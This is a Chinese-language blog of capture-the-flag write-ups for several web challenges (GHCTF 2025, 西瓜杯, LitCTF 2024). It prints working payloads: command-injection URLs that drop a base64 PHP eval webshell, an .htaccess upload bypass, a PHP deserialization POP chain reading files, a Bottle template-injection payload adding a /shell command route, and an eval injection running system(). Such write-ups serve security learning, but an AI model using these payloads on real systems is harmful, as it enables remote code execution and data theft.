class ActionHandler {
private $config;
private $logger;
private $executor;

public function __construct($config, $logger) {
$this->config = $config;
$this->logger = $logger;
$this->executor = new CommandExecutor($logger);
}

public function handle($action, $input) {
if (!in_array($action, $this->config->get('allowed_actions'))) {
return "Invalid action";
}

if ($action === 'run') {
$validator = new InputValidator($this->config->get('max_input_length'));
$validationResult = $validator->validate($input);
if ($validationResult !== true) {
return $validationResult;
}

return $this->executor->execute($input);
} elseif ($action === 'debug') {
return "Debug mode enabled";
} elseif ($action === 'generate') {
return "Random string: " . StringUtils::generateRandomString(15);
}

return "Unknown action";
}
}

if (isset($_REQUEST['action'])) {
$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));

$actionHandler = new ActionHandler($config, $logger);
$input = $_REQUEST['input'] ?? '';
echo $actionHandler->handle($_REQUEST['action'], $input);
} else {
$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));
$userManager = new UserManager($logger);

if (isset($_POST['register'])) {
$username = $_POST['username'];
$password = $_POST['password'];

echo $userManager->addUser($username, $password);
}

if (isset($_POST['login'])) {
$username = $_POST['username'];
$password = $_POST['password'];

echo $userManager->authenticate($username, $password);
}

$logger->log("No action provided, running default logic");
} [LOG] No action provided, running default logic

没啥用

1
2
3
4
5
?action=run&input=ls%09/
?action=run&input=echo%09PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8%2B%09|%09base64%09-d%09%3E%09a.php
连蚁剑提权
/var/www/html/wc --files0-from "/flag"
/var/www/html/wc: 'NSSCTF{ec25f617-034a-46d8-b34a-afd770bf7b69}'$'\n': No such file or directory

[GHCTF 2025]UPUPUP

可以上传.htaccess文件
但是后端检验了mine类型, 直接加上GIF89a 上传会报500错误,有语法错误, 而在.htaccess 中有两个注释符,或者相当于单行注释的符号 , 可以通过这两个绕过getimagesize和exif_imagetype

1
2
3
4
5
6
#define width 1
#define height 1
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

image-20250310190554895

[GHCTF2025]Popppppp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
 <?php
error_reporting(0);

class CherryBlossom {
public $fruit1;
public $fruit2;

public function __construct($a) {
$this->fruit1 = $a;
}

function __destruct() {
echo $this->fruit1;
}

public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}

class Forbidden {
private $fruit3;

public function __construct($string) {
$this->fruit3 = $string;
}

public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}

class Warlord {
public $fruit4;
public $fruit5;
public $arg1;

public function __call($arg1, $arg2) {
$function = $this->fruit4;
return $function();
}

public function __get($arg1) {
$this->fruit5->ll2('b2');
}
}

class Samurai {
public $fruit6;
public $fruit7;

public function __toString() {
$long = @$this->fruit6->add();
return $long;
}

public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}

class Mystery {

public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}

class Princess {
protected $fruit9;

protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}

public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}

class Philosopher {
public $fruit10;
public $fruit11="sr22kaDugamdwTPhG5zU";

public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}

class UselessTwo {
public $hiddenVar = "123123";

public function __construct($value) {
$this->hiddenVar = $value;
}

public function __toString() {
return $this->hiddenVar;
}
}

class Warrior {
public $fruit12;
private $fruit13;

public function __set($name, $value) {
$this->$name = $value;
if ($this->fruit13 == "xxx") {
strtolower($this->fruit12);
}
}
}

class UselessThree {
public $dummyVar;

public function __call($name, $args) {
return $name;
}
}

class UselessFour {
public $lalala;

public function __destruct() {
echo "Hehe";
}
}

if (isset($_GET['GHCTF'])) {
unserialize($_GET['GHCTF']);
} else {
highlight_file(__FILE__);
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
<?php
error_reporting(0);

class CherryBlossom {
public $fruit1;
public $fruit2;

public function __construct($a) {
$this->fruit1 = $a;
}

function __destruct() {
echo $this->fruit1; //找toString,有三个类存在这个方法 CherryBlossom, UselessTwo, Samurai
//1.1 $fruit1=new CherryBlossom
}

public function __toString() {
$newFunc = $this->fruit2;
return $newFunc(); //找__invoke, 1.2 $fruit2= new Philosopher
}
}

class Forbidden {
private $fruit3;

public function __construct($string) {
$this->fruit3 = $string;
}

public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}

class Warlord {
public $fruit4;
public $fruit5;
public $arg1;

public function __call($arg1, $arg2) {
$function = $this->fruit4;
return $function();
}

public function __get($arg1) {
$this->fruit5->ll2('b2');
}
}

class Samurai {
public $fruit6;
public $fruit7;

public function __toString() {
$long = @$this->fruit6->add();
return $long;
}

public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}

class Mystery {
//自己手动加
public $SplFileObject = "php://filter/read=convert.base64-encode/resource=/flag44545615441084";
// public $GlobIterator="glob:///*";
//$day2对象的属性名, $day1是对象的属性值
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1); //利用SplFileObject读取文件
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}

class Princess {
protected $fruit9;

protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}

public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}

class Philosopher {
public $fruit10;
public $fruit11="sr22kaDugamdwTPhG5zU";

public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {//需要绕过, 弱比较, 所以需要找到md5值开头是666后接字母的表达, 写一个脚本跑一下可以找到很多 比如"7000120353"
return $this->fruit10->hey; //hey是不存在的属性,找__get 有三个类里面有这个方法, Mystery, Warlord, Forbidden
} //使用Mystery 1.3 $fruit10=new Mystery
}
}

class UselessTwo {
public $hiddenVar = "123123";

public function __construct($value) {
$this->hiddenVar = $value;
}

public function __toString() {
return $this->hiddenVar;
}
}

class Warrior {
public $fruit12;
private $fruit13;

public function __set($name, $value) {
$this->$name = $value;
if ($this->fruit13 == "xxx") {
strtolower($this->fruit12);
}
}
}

class UselessThree {
public $dummyVar;

public function __call($name, $args) {
return $name;
}
}


class UselessFour {
public $lalala;

public function __destruct() {
echo "Hehe";
}
}

if (isset($_GET['GHCTF'])) {
unserialize($_GET['GHCTF']);
} else {
highlight_file(__FILE__);
}



//利用点: 1.Mystery里面的array_walk函数
//2. Princess类里面的call_user_func函数


$a=new CherryBlossom();
$a->fruit1=new CherryBlossom();
$a->fruit1->fruit2= new Philosopher();
$a->fruit1->fruit2->fruit11=19000062111;
$a->fruit1->fruit2->fruit10=new Mystery();

echo serialize($a);

##[GHCTF 2025]Message in a Bottle plus

bottle框架的ssti

1
2
3
4
5
'''
% from bottle import Bottle, request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('lalala')).read())
'''

ec_readfile

这题当时比赛的时候看了好久,我靠,我当时让这题搞红温了,我没想到他目录不可写,呜呜呜,被愤怒冲昏了

知道是CVE-2024-2961,妈的,我还以为我脚本有问题,没权限写,弹shell就行,

西瓜杯CodeInject

1
2
3
4
5
6
7
8
9
10
11
<?php

#Author: h1xa

error_reporting(0);
show_source(__FILE__);

eval("var_dump((Object)$_POST[1]);");

把vardump闭合了就好了
1=1);system("cat /0*");//

西瓜杯tpdoor

开局是thinkphp,还是8,最新版的

给了个index.php

image-20250309182847493

下载最新版的源码

通过index.php可以发现isCache是可控的,通过url可以控制isCache的值,也就是$config[‘request_cache_key’]

我们跟进$config[‘request_cache_key’],找到相关的/../../config/route.php文件

image-20250310201729787

找到相关的值vendor/topthink/framework/src/think/middleware/CheckRequestCache.php

image-20250310202542687

回来到parseCacheKey

image-20250310205425126

继续跟进,可以看到这里的 elseif| 为分割得到 $key$fun

image-20250310205456173

image-20250310205559200

后面fun和key会组成函数

image-20250310205943533

[LitCTF 2024]百万美元的诱惑

1
2
3
4
5
6
给个简单的exp,只聊最后一步

$$表示当前运行进程的进程号,并且注意到/没有被拦截
$(())里面可以包裹并计算数学表达式,则
做个简单除法$$/$$即为1,$$/$$+$$/$$即为2。则exp有了:$(($$/$$))$(($$/$$+$$/$$))